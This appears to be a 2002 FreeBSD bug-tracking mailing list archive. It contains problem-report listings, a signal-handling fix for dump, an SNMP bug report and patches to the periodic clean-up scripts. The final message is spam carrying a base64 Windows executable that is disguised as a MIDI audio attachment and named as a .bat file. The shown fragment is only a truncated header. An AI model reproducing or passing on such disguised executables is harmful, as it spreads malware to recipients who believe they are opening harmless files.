[2002/02/22] bin/35226 mtree - strange behaviour on some filenam o [2002/02/23] kern/35234 World access to /dev/pass? (for scanner) o [2002/02/23] conf/35240 Update to etc/services o [2002/02/23] conf/35242 Change to etc/periodic/weekly/330.catman o [2002/02/23] ports/35244 ports proper fix for x11-fm/endeavour's strcase f [2002/02/23] misc/35245 brian unwanted stealth behaviour (inbound icmp o [2002/02/23] ports/35247 pat New port: devel/splint o [2002/02/23] ports/35249 ports no man page for latex2html o [2002/02/23] ports/35251 ports NewPort: news/newscache 0.99.17 o [2002/02/23] ports/35257 wosch ports german/dict and textproc/dict canno o [2002/02/23] conf/35262 Generation of boot block for headless ope o [2002/02/23] ports/35265 nobutaka Port /usr/ports/graphics/xine is broken o [2002/02/23] ports/35266 lioux New port: LimeWire o [2002/02/23] kern/35269 possible panics with 4:1 filesystem ratio o [2002/02/23] ports/35270 ports converters/p5-Convert-TNEF has wrong pkg- o [2002/02/24] ports/35271 ports update port: chinese/zhcon o [2002/02/24] ports/35272 nbm ports/mail/vqadmin missing source tarball o [2002/02/24] docs/35280 doc [PATCH] null-modem cable pinout in 'Seria o [2002/02/24] ports/35283 ports Update port: print/ghostscript-afpl to 7. o [2002/02/24] ports/35284 ports Update port: print/ghostscript-gnu to 6.5 o [2002/02/24] ports/35285 ports New port textproc/prosper: a LaTeX class o [2002/02/24] ports/35286 ports new port: misc/ncdialog (new cdialog by T o [2002/02/24] kern/35289 Brooktree device doesnt properly signal a o [2002/02/24] ports/35298 ports New port: biology/primer3 o [2002/02/24] ports/35303 ports New port: gimp-print, print drivers for C o [2002/02/25] ports/35318 obrien Update: editors/vim Fix for fetching last o [2002/02/25] ports/35322 ports new port: databases/scid o [2002/02/25] kern/35324 Plug and Play probe fails to configure Di f [2002/02/25] ports/35326 ports Yet another fix to pic2fix o [2002/02/25] ports/35328 ports emulators/bochs doesn't compile on -curre o [2002/02/25] ports/35330 ports New port: biology/wise o [2002/02/25] ports/35331 ports New port: JESS is a nice visualization pl o [2002/02/25] ports/35332 ports New port: biology/flip o [2002/02/25] bin/35333 send-pr(1) vim syntax highlighting suppor o [2002/02/25] ports/35334 ports Please add md2k driver to print/ghostscri o [2002/02/26] kern/35339 Increase of the counter of collisions at o [2002/02/26] docs/35343 doc Old broken Unix docco Makefiles o [2002/02/26] ports/35344 obrien chinese/lunar: add big5 output messages o [2002/02/26] docs/35345 doc Restore old yacc documentation o [2002/02/26] ports/35346 dburr upgrade to opennap-0.44 o [2002/02/26] ports/35352 billf net-snmp 4.2.3 - reports incorrect "Total o [2002/02/26] ports/35355 ports New port: databases/gbib o [2002/02/26] kern/35356 joe Dead code uhci_reset() in /sys/dev/usb/uh o [2002/02/26] ports/35357 gnome [PATCH] Update textproc/intltool to 0.16 o [2002/02/26] ports/35362 ports x11-fonts/tkfont: use tk83 o [2002/02/26] ports/35365 ports fix bento error of textproc/pspell-ispell o [2002/02/26] ports/35368 ports New port: devel/p5-VCS o [2002/02/27] ports/35370 gnome [PATCH] Upgrade mail/balsa to 1.3.2 o [2002/02/27] ports/35372 ports pgp6 ports fails to compile on alpha plat o [2002/02/27] ports/35374 gnome Is gnomecontrolcenter-1.4.0.4_2 missing d o [2002/02/27] ports/35375 kde x11/kdebase2 creates files not listed in o [2002/02/27] ports/35376 cy New port : multi-gnome-terminal : tabbed o [2002/02/27] kern/35377 process gets unkillable (-9) in "ttywai" o [2002/02/27] docs/35378 doc Handbook has inaccurate description of f o [2002/02/27] misc/35381 incorrect floating-point display of large o [2002/02/27] ports/35382 ports Updated port: DansGuardin Content Filter o [2002/02/27] ports/35383 ports new port DarwinStreamingServer o [2002/02/27] ports/35385 ports port update: security/ssh2 o [2002/02/27] kern/35392 atapi tape driver does not maintain devic o [2002/02/27] bin/35393 Patch to add STANDARDS section to strerro o [2002/02/27] bin/35394 reversed comment in pwd_mkdb/pw_scan.c o [2002/02/27] bin/35395 pwd_mkdb doesn't indicate which line is t o [2002/02/28] misc/35400 sysinstall could improve manipulation of o [2002/02/28] ports/35401 ports New Port: news/newscache 0.99.19 o [2002/02/28] ports/35406 ports New port submission o [2002/02/28] ports/35414 ports Update port: math/plplot to 5.1.0 o [2002/02/28] ports/35417 ports Update port: textproc/wv to 0.7.1 o [2002/02/28] ports/35418 trevor Update port: x11-wm/evilwm to 0.9.44.1 o [2002/02/28] ports/35419 ports autoconf port packinglist is incomplete ( o [2002/02/28] docs/35436 doc PAO isn't very latest-and-greatest these o [2002/02/28] ports/35437 ports Update port: databases/p5-CDB_File to 0.9 o [2002/02/28] ports/35438 ports new port: net/driftnet o [2002/02/28] ports/35440 ports Update port: databases/p5-BerkeleyDB (ins o [2002/03/01] ports/35447 ports Update port: databases/p5-SQL-Statement t o [2002/03/01] ports/35448 ports Update port: databases/p5-DBD-CSV to 0.20 o [2002/03/01] i386/35449 [PATCH] another small fix for doscmd o [2002/03/01] bin/35451 PATCH: pkg_add -r able to save local copy o [2002/03/01] ports/35452 ports Maintainer's update: japanese/samba o [2002/03/01] bin/35454 mtree can't handle symlinks referencing f o [2002/03/01] ports/35456 portmgr [PATCH] Add a distfiles-list target o [2002/03/01] conf/35457 dual boot problem from 2 different SCSI d o [2002/03/01] ports/35458 ports Update: japanese/eb, japanese/ndtpd o [2002/03/01] ports/35459 knu portupgrade doesn't clean up dependencies o [2002/03/01] ports/35460 gnome Failures in gathering packages for GNOME+ o [2002/03/01] kern/35463 [patch] wi(4) doesn't comprehend standard o [2002/03/02] ports/35474 pat New Port: Splint is a tool for statistica o [2002/03/02] ports/35476 ports port version upgrade and ogg library fix o [2002/03/02] ports/35479 ports New Port: A small stand-alone program for o [2002/03/02] ports/35481 ports New port: console text editor looks like o [2002/03/02] ports/35483 nbm add patch to save djbdns cache contents a o [2002/03/02] ports/35487 ports New port: gtkgrepmail (A gtk front-end to o [2002/03/02] ports/35488 portmgr Mk/bsd.port.mk: dump only last 100 lines o [2002/03/02] docs/35491 green sshd(8) has an incorrect path o [2002/03/02] ports/35495 pat Update port: graphics/gphoto to gphoto2 2 o [2002/03/02] bin/35505 [PATCH] Feature enhancement for sed(1) o [2002/03/03] kern/35512 ATA/ATAPI CD driver: impossible to set cd o [2002/03/03] ports/35513 ports A new FreeBSD port - wmappl o [2002/03/03] ports/35514 portmgr Use the value of hw.machine_arch instead o [2002/03/03] ports/35516 ports ports/irc/ninja tar-file on master site n o [2002/03/03] ports/35520 ports New port devel/whups: a web-based bug tra a [2002/03/03] bin/35521 nsupdate fails if destination dns is not o [2002/03/03] ports/35522 ports xhtml port uses SGMLDECL in catalog chain o [2002/03/03] docs/35523 doc manpage fixes for df(1) and ls(1) o [2002/03/03] bin/35524 [patch] update man-page of burncd(8) to t o [2002/03/03] ports/35525 ports update-port: graphics/jpeg2ps-letter o [2002/03/03] i386/35526 No mouse recognized in Compaq Presario la o [2002/03/04] docs/35530 doc New cvsup and www mirror in Romania o [2002/03/04] bin/35531 brian user-ppp handles long line names inconsis o [2002/03/04] ports/35533 gnome libgda depends on scrollkeeper o [2002/03/04] ports/35540 ports ruby-racc-runtime checksums need updating o [2002/03/04] ports/35541 ports [PATCH] Update devel/glib13 to 1.3.15 o [2002/03/04] misc/35542 BDECFLAGS needs -U__STRICT_ANSI__ 1943 problems total. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 11:20: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 7F5BE37B405 for ; Mon, 4 Mar 2002 11:20:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24JK2f63317; Mon, 4 Mar 2002 11:20:02 -0800 (PST) (envelope-from gnats) Date: Mon, 4 Mar 2002 11:20:02 -0800 (PST) Message-Id: <200203041920.g24JK2f63317@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Tony Finch Subject: Re: misc/35542: BDECFLAGS needs -U__STRICT_ANSI__ Reply-To: Tony Finch Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR misc/35542; it has been noted by GNATS. From: Tony Finch To: freebsd-gnats-submit@FreeBSD.org, dot@dotat.at Cc: Subject: Re: misc/35542: BDECFLAGS needs -U__STRICT_ANSI__ Date: Mon, 04 Mar 2002 19:09:48 +0000 Um, I meant that asprintf() is NOT in the C standard. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 11:40: 7 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 92C7837B402 for ; Mon, 4 Mar 2002 11:40:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24Je2Q67732; Mon, 4 Mar 2002 11:40:02 -0800 (PST) (envelope-from gnats) Date: Mon, 4 Mar 2002 11:40:02 -0800 (PST) Message-Id: <200203041940.g24Je2Q67732@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Sandeep Kumar Subject: Re: bin/35214: dump program hangs while exiting Reply-To: Sandeep Kumar Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35214; it has been noted by GNATS. From: Sandeep Kumar To: freebsd-gnats-submit@FreeBSD.org, skumar@juniper.net Cc: Subject: Re: bin/35214: dump program hangs while exiting Date: Mon, 04 Mar 2002 11:32:41 -0800 Submitting unified diff for the fix. Index: tape.c =================================================================== RCS file: /cvs/junos-2001/src/sbin/dump/tape.c,v retrieving revision 1.1.1.4 retrieving revision 1.2 diff -u -r1.1.1.4 -r1.2 --- tape.c 2001/03/31 04:38:41 1.1.1.4 +++ tape.c 2002/03/01 17:53:24 1.2 @@ -57,7 +57,6 @@ #include #include -#include #include #include #ifdef __STDC__ @@ -121,10 +120,6 @@ int master; /* pid of master, for sending error signals */ int tenths; /* length of tape used per block written */ static int caught; /* have we caught the signal to proceed? */ -static int ready; /* have we reached the lock point without having */ - /* received the SIGUSR2 signal from the prev slave? */ -static jmp_buf jmpbuf; /* where to jump to if we are ready when the */ - /* SIGUSR2 arrives from the previous slave */ int alloctape() @@ -679,9 +674,6 @@ proceed(signo) int signo; { - - if (ready) - longjmp(jmpbuf, 1); caught++; } @@ -755,7 +747,13 @@ { register int nread; int nextslave, size, wrote, eot_count; + sigset_t sigusr2_mask, omask; + + /* Create a mask with SIGUSR2 */ + sigemptyset(&sigusr2_mask); + sigaddset(&sigusr2_mask, SIGUSR2); + /* * Need our own seek pointer. */ @@ -788,14 +786,12 @@ TP_BSIZE) != TP_BSIZE) quit("master/slave protocol botched.\n"); } - } - if (setjmp(jmpbuf) == 0) { - ready = 1; - if (!caught) - (void) pause(); } - ready = 0; + sigprocmask(SIG_BLOCK, &sigusr2_mask, &omask); /*Mask SIGUSR2*/; + if (!caught) + (void) sigsuspend(&omask); /* wait for SIGUSR2 */ caught = 0; + sigprocmask(SIG_SETMASK, &omask, NULL); /* Set the old mask */ /* Try to write the data... */ eot_count = 0; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 12: 0:11 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id D11EC37B417 for ; Mon, 4 Mar 2002 12:00:03 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24K03d70372; Mon, 4 Mar 2002 12:00:03 -0800 (PST) (envelope-from gnats) Received: from agora.rdrop.com (agora.rdrop.com [199.26.172.34]) by hub.freebsd.org (Postfix) with ESMTP id 1954337B402 for ; Mon, 4 Mar 2002 11:54:52 -0800 (PST) Received: (from alan@localhost) by agora.rdrop.com (8.11.4/8.11.4) id g24Jsl050852; Mon, 4 Mar 2002 11:54:48 -0800 (PST) (envelope-from alan) Message-Id: <200203041954.g24Jsl050852@agora.rdrop.com> Date: Mon, 4 Mar 2002 11:54:48 -0800 (PST) From: Alan Batie Reply-To: Alan Batie To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35544: SNMP getnext fails to fail at end Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35544 >Category: kern >Synopsis: SNMP getnext fails to fail at end >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Mar 04 12:00:03 PST 2002 >Closed-Date: >Last-Modified: >Originator: Alan Batie >Release: FreeBSD 4.3-STABLE i386 >Organization: RainDrop Laboratories >Environment: System: FreeBSD agora.rdrop.com 4.3-STABLE FreeBSD 4.3-STABLE #3: Wed Sep 5 13:36:38 PDT 2001 root@aggie.rdrop.com:/usr/src/freebsd/sys/compile/AGORA i386 >Description: snmpwalk goes into an infinite loop when you walk the udp.ipv6UdpTable.ipv6UdpEntry table >How-To-Repeat: With net-snmp installed run: snmpwalk localhost public udp.ipv6UdpTable.ipv6UdpEntry >Fix: Avoid that table >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 12:12:53 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0FBE437B405; Mon, 4 Mar 2002 12:12:44 -0800 (PST) Received: (from brooks@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24K99H75502; Mon, 4 Mar 2002 12:09:09 -0800 (PST) (envelope-from brooks) Date: Mon, 4 Mar 2002 12:09:09 -0800 (PST) From: Message-Id: <200203042009.g24K99H75502@freefall.freebsd.org> To: nsayer@quack.kfu.com, brooks@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/32124: Cannot set 128 bit wep key on prism2 (wi0) cards Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: Cannot set 128 bit wep key on prism2 (wi0) cards State-Changed-From-To: open->feedback State-Changed-By: brooks State-Changed-When: Mon Mar 4 12:05:46 PST 2002 State-Changed-Why: I've just MFC'd a set of changes including a possiable fix for this bug. Please test with 4.5-STABLE after "Mon, 4 Mar 2002 12:03:57 -0800 (PST)" and report success or failure. Thanks, Brooks http://www.FreeBSD.org/cgi/query-pr.cgi?pr=32124 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 12:20:47 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 410CC37B419 for ; Mon, 4 Mar 2002 12:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24KK1g77153; Mon, 4 Mar 2002 12:20:01 -0800 (PST) (envelope-from gnats) Received: from breg.mc.mpls.visi.com (breg.mc.mpls.visi.com [208.42.156.101]) by hub.freebsd.org (Postfix) with ESMTP id A010737B402 for ; Mon, 4 Mar 2002 12:11:57 -0800 (PST) Received: from sheol.localdomain (hawkeyd-fw.dsl.visi.com [208.42.101.193]) by breg.mc.mpls.visi.com (Postfix) with ESMTP id 4B3272D049B; Mon, 4 Mar 2002 14:11:56 -0600 (CST) Received: (from hawkeyd@localhost) by sheol.localdomain (8.11.6/8.11.6) id g24KBsv55481; Mon, 4 Mar 2002 14:11:54 -0600 (CST) (envelope-from hawkeyd) Message-Id: <200203042011.g24KBsv55481@sheol.localdomain> Date: Mon, 4 Mar 2002 14:11:54 -0600 (CST) From: D J Hawkey Jr Reply-To: D J Hawkey Jr To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: conf/35545: Enhanced periodic scripts Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35545 >Category: conf >Synopsis: Enhanced periodic scripts >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Mar 04 12:20:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: David J Hawkey Jr \ >Release: FreeBSD 4.5-RELEASE i386 >Organization: if (!FIFO) if (!LIFO) break; >Environment: System: FreeBSD sheol.localdomain 4.5-RELEASE FreeBSD 4.5-RELEASE #2: Mon Feb 11 09:18:49 CST 2002 root@sheol.localdomain:/usr/src/sys/compile/SHEOL i386 >Description: /etc/periodic/daily/100.clean-disks should have "exclude paths". /etc/periodic/daily/110.clean-tmps removes empty directories, and should not, IMHO. >How-To-Repeat: Enable either in /etc/periodic.conf >Fix: These two patches. The first, for 100.clean-disks, honors a new variable, daily_clean_disks_excludes (ex., "*/home/*"). The second, for 110.clean-tmps, honors a new variable, daily_clean_tmps_prune (ex., "YES" or "NO"). Additionally, they both actually make their *_verbose variables do the Right Thing(tm), and could pro'lly be applied to many more of the periodic scripts. They both should be scrutinized for correctness. They test out fine here, and fulfill my needs, but may not be generic enough, and I may be blind to some nuances of 'find' and/or 'periodic'. --- 100.clean-disks.orig Mon Jan 28 07:13:17 2002 +++ 100.clean-disks Mon Mar 4 13:18:35 2002 @@ -33,6 +33,12 @@ sed -e 's/^[ ]*//' \ -e 's/[ ]*$//' \ -e 's/[ ][ ]*/ -o -name /g'` + [ -n "$daily_clean_disks_excludes" ] && + excl="$excl ! -path "`echo "$daily_clean_disks_excludes" | + sed -e 's/^[ ]*//' \ + -e 's/[ ]*$//' \ + -e 's/[ ][ ]*/ -a ! -path /g'` && + excl="( $excl ) -a" case "$daily_clean_disks_verbose" in [Yy][Ee][Ss]) @@ -41,9 +47,21 @@ print=;; esac + # $print is currently meaningless, but retained for if + # and when 'find' without "-print" actually inhibits output. + # $out is a hack until then. + + out=/var/run/_100_clean-disks_out.$$ rc=$(find / \( ! -fstype local -o -fstype rdonly \) -a -prune -o \ - \( $args \) -atime +$daily_clean_disks_days -delete $print | - tee /dev/stderr | wc -l) + $excl \( $args \) -atime +$daily_clean_disks_days \ + -delete $print | tee $out | wc -l) + if [ -n "$print" ] + then + cat $out + else + echo " (output inhibited)" + fi + rm -f $out [ -z "$print" ] && rc=0 [ $rc -gt 1 ] && rc=1 set -f glob --- 110.clean-tmps.orig Mon Jan 28 07:13:17 2002 +++ 110.clean-tmps Mon Mar 4 12:00:53 2002 @@ -36,15 +36,40 @@ *) print=;; esac + case "$daily_clean_tmps_prune" in + [Yy][Ee][Ss]) + delete=-delete;; + *) + delete=;; + esac + # $print is currently meaningless, but retained for if + # and when 'find' without "-print" actually inhibits output. + # $out is a hack until then. + + out=/var/run/_110_clean_tmps_out.$$ + tmp=/var/run/_110_clean_tmps_tmp.$$ rc=$(for dir in $daily_clean_tmps_dirs do [ ."${dir#/}" != ."$dir" -a -d $dir ] && cd $dir && { find -d . -type f $args -delete $print find -d . ! -name . -type d -empty -mtime \ - +$daily_clean_tmps_days -delete $print + +$daily_clean_tmps_days $delete $print > $tmp + if [ -s $tmp ]; then + echo -n " Empty directories" + [ -n "$delete" ] && echo -n " removed" + echo ":" + sed "s,^\\., $dir," $tmp + fi } | sed "s,^\\., $dir," - done | tee /dev/stderr | wc -l) + done | tee $out | wc -l) + if [ -n "$print" ] + then + cat $out + else + echo " (output inhibited)" + fi + rm -f $out $tmp [ -z "$print" ] && rc=0 [ $rc -gt 1 ] && rc=1 set -f glob >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 15:12:45 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 1F33B37B416; Mon, 4 Mar 2002 15:12:44 -0800 (PST) Received: (from billf@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24NAuD15654; Mon, 4 Mar 2002 15:10:56 -0800 (PST) (envelope-from billf) Date: Mon, 4 Mar 2002 15:10:56 -0800 (PST) From: Message-Id: <200203042310.g24NAuD15654@freefall.freebsd.org> To: alan@agora.rdrop.com, billf@FreeBSD.org, freebsd-bugs@FreeBSD.org, billf@FreeBSD.org Subject: Re: kern/35544: SNMP getnext fails to fail at end Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: SNMP getnext fails to fail at end State-Changed-From-To: open->closed State-Changed-By: billf State-Changed-When: Mon Mar 4 15:10:23 PST 2002 State-Changed-Why: duplicate of ports/31793 Responsible-Changed-From-To: freebsd-bugs->billf Responsible-Changed-By: billf Responsible-Changed-When: Mon Mar 4 15:10:23 PST 2002 Responsible-Changed-Why: i'm the maintainer of the net-snmp port http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35544 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 16:22:47 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0AFA837B400; Mon, 4 Mar 2002 16:22:44 -0800 (PST) Received: (from znerd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g250FKY27910; Mon, 4 Mar 2002 16:15:20 -0800 (PST) (envelope-from znerd) Date: Mon, 4 Mar 2002 16:15:20 -0800 (PST) From: Message-Id: <200203050015.g250FKY27910@freefall.freebsd.org> To: znerd@FreeBSD.org, freebsd-bugs@FreeBSD.org, znerd@FreeBSD.org Subject: Re: bin/9318: vgrind(1): no JAVA support Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: vgrind(1): no JAVA support Responsible-Changed-From-To: freebsd-bugs->znerd Responsible-Changed-By: znerd Responsible-Changed-When: Mon Mar 4 16:14:34 PST 2002 Responsible-Changed-Why: This PR has been open for years. Nobody is interested, so I'll look into it. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=9318 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 20:35:14 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from mx5.mail.ru (mx5.mail.ru [194.67.57.15]) by hub.freebsd.org (Postfix) with ESMTP id B53CA37B419 for ; Mon, 4 Mar 2002 20:34:07 -0800 (PST) Received: from [61.5.20.113] (helo=Zswq) by mx5.mail.ru with smtp (Exim 3.14 #1) id 16i6dn-000GFz-00 for freebsd-bugs@freebsd.org; Tue, 05 Mar 2002 07:33:32 +0300 From: erni_dy To: freebsd-bugs@freebsd.org Subject: Color MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=X2iM6035d0 Message-Id: Date: Tue, 05 Mar 2002 07:33:32 +0300 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --X2iM6035d0 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --X2iM6035d0 Content-Type: audio/x-midi; name=(32.bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAACYl33g3PYTs9z2E7Pc9hOzp+ofs9j2E7Nf6h2zz/YTszTp GbPm9hOzvukAs9X2E7Pc9hKzq/YTszTpGLPO9hOzZPAVs932E7NSaWNo3PYTswAAAAAAAAAA UEUAAEwBBABcmkI8AAAAAAAAAADgAA8BCwEGAADAAAAAgAgAAAAAAHiAAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAUAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAY1gAAZAAAAABACQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGq2AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAADqDwAAANAAAAAQAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAA7FMIAADgAAAAQAAAAOAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAQAkAEAAAAAAgAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 